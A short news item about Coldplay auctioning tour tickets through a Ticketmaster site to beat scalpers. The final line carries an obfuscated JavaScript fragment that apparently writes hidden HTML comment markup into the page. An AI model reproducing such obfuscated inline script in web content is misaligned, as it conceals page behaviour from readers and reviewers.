Coldplay auction off gig tickets

Coldplay have set up their own auction website so fans who are left ticketless don't have to be 'ripped off' buying online.

The group say that whenever they announce tour dates, 'an enormous amount' end up being sold on via auction websites, and in some cases, 'scalper sites'.

To combat this, the band are auctioning off some tickets for their forthcoming North American dates, with some of the money being donated to charity.

A statement on the band's official website reads: 'Whenever we put our tickets up for sale an enormous amount of them end up being sold on.'

'We have given a small number of tickets for the next North American tour to Ticketmaster to auction through a legitimate auction site that they have set up just for Coldplay of which a portion of the proceeds from these auctions will be donated to charity.'

'Again this part of our on-going plan to make sure as many tickets get into real fans' hands and to stop scalpers making money and making fans miserable from counterfeit tickets.'

To find out more about the auction, click here.

Coldplay's next North American tour is set for early next year. Before that, they end 2005 with a massive UK tour in December.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;